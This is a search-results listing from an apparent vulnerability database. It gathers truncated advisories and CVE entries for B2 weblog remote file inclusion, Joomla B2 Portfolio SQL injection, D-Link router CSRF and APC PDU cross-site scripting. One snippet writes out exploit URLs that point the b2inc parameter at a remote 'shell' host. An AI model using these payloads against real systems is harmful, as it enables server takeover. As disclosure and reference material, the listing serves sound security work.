154 matches found
CafeLog B2 0.6.1 Weblog and News Publishing Tool b2mail.php b2inc Parameter Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/23659/info B2 is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input. Exploiting these issues may allow an attacker to compromise the application and the...
B2 0.6 b2edit.showposts.php b2inc Parameter Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/4673/info B2 is a news/weblog tool written in php. b2 allows webmasters to quickly post news on the frontpage, and let viewers interact with each other. It is available primarily for Unix and Linux. A variable that is...
b2 Blog <= 0.5 (b2verifauth.php) Remote File Include Vulnerability
No description provided by source...
CafeLog B2 0.6.1 Weblog and News Publishing Tool b2archives.php b2inc Parameter Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/23659/info B2 is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input. Exploiting these issues may allow an attacker to compromise the application and the...
Joomla B2 Portfolio Component 1.0.0 - Multiple SQL Injection
No description provided by source. B2 Portfolio Joomla Component 1.0.0 Multiple SQL Injection Vulnerability Name B2 Portfolio Vendor http://www.pulseextensions.com Versions Affected 1.0.0 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta at gmai...
CafeLog B2 0.6.1 Weblog and News Publishing Tool b2categories.php b2inc Parameter Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/23659/info B2 is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input. Exploiting these issues may allow an attacker to compromise the application and the...
D-Link DSL-2640B (ADSL Router) CSRF flaws and fixes-vulnerability warning-the black bar safety net
Title: D-Link DSL-2640B ADSL Router CSRF Vulnerability Author: Ivano Binetti www.badguest.cn http://ivanobinetti.com Program website: http://www.d-link.com Affected version: DSL-2640B Test platform: Firmware Version: EU4. 0 0; Hardware Version: B2 +-----------------------------------------------...
Joomla Component com_b2portfolio 1.0.0 Multiple SQL Injection
Exploit for php platform in category web applications Name B2 Portfolio Vendor http://www.pulseextensions.com Versions Affected 1.0.0 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta at gmail dot com Date 2011-01-24 X. INDEX I. ABOUT THE...
Joomla! Component com_b2portfolio 1.0.0 - Multiple SQL Injections
B2 Portfolio Joomla Component 1.0.0 Multiple SQL Injection Vulnerability Name B2 Portfolio Vendor http://www.pulseextensions.com Versions Affected 1.0.0 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta at gmail dot com Date 2011-01-24 X. INDEX ...
CVE-2009-4406
CVE-2009-4406 is an XSS in the APC Network Monitoring/Card web interface. The vulnerability affects the NMC login form: Forms/login1?login_username on AP7932 B2 devices (rpdu 3.3.3 or 3.7.0 on AOS 3.3.4 and possibly other versions) allowing remote attackers to inject arbitrary script/HTML. Conseq...
CVE-2009-4406: Improper Neutralization of Input During Web Page Generation
Cross-site scripting XSS vulnerability in Forms/login1 in American Power Conversion APC Switched Rack PDU AP7932 B2, running rpdu 3.3.3 or 3.7.0 on AOS 3.3.4, and possibly other versions, allows remote attackers to inject arbitrary web script or HTML via the loginusername parameter...
B2 Weblog and News Publishing Tool v0.6.1 >> RFI
+++++++ name & version :B2 Weblog and News Publishing Tool v0.6.1 vendor: cafelog.com by : www.hackerz.ir userz,s3rv3rhack3r,saeidonlylinux,farzad exploit: http://victim/b2archives.php?b2inc=http://shell http://victim/b2categories.php?b2inc=http://shell http://victim/b2mail.php?b2inc=http://shell...
Remote file inclusion
Multiple PHP remote file inclusion vulnerabilities in B2 Weblog and News Publishing Tool 0.6.1 allow remote attackers to execute arbitrary PHP code via a URL in the b2inc parameter to 1 b2archives.php, 2 b2categories.php, or 3 b2mail.php. NOTE: this may overlap CVE-2002-1466...
CVE-2007-2290
Multiple PHP remote file inclusion vulnerabilities in B2 Weblog and News Publishing Tool 0.6.1 allow remote attackers to execute arbitrary PHP code via a URL in the b2inc parameter to 1 b2archives.php, 2 b2categories.php, or 3 b2mail.php. NOTE: this may overlap CVE-2002-1466...
CVE-2007-2290
Multiple PHP remote file inclusion vulnerabilities in B2 Weblog and News Publishing Tool 0.6.1 allow remote attackers to execute arbitrary PHP code via a URL in the b2inc parameter to 1 b2archives.php, 2 b2categories.php, or 3 b2mail.php. NOTE: this may overlap CVE-2002-1466...
CVE-2007-2290
CVE-2007-2290 affects B2 Weblog and News Publishing Tool 0.6.1. It describes multiple PHP remote file inclusion vulnerabilities that allow remote attackers to execute arbitrary PHP code by supplying a URL in the b2inc parameter to one of three scripts: b2archives.php, b2categories.php, or b2mail....
CVE-2007-2290: Undefined Security Weakness
Multiple PHP remote file inclusion vulnerabilities in B2 Weblog and News Publishing Tool 0.6.1 allow remote attackers to execute arbitrary PHP code via a URL in the b2inc parameter to 1 b2archives.php, 2 b2categories.php, or 3 b2mail.php. NOTE: this may overlap CVE-2002-1466...
CVE-2006-6830
The CVE-2006-6830 entry describes a PHP remote file inclusion in b2 Blog 0.5 and earlier (b2verifauth.php) that lets an attacker execute arbitrary PHP code via the index parameter. Affected software: b2 Blog up to version 0.5 and earlier. Root cause: improper handling of the index URL parameter e...
CVE-2006-6830: Undefined Security Weakness
PHP remote file inclusion vulnerability in b2verifauth.php in b2 Blog 0.5 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the index parameter...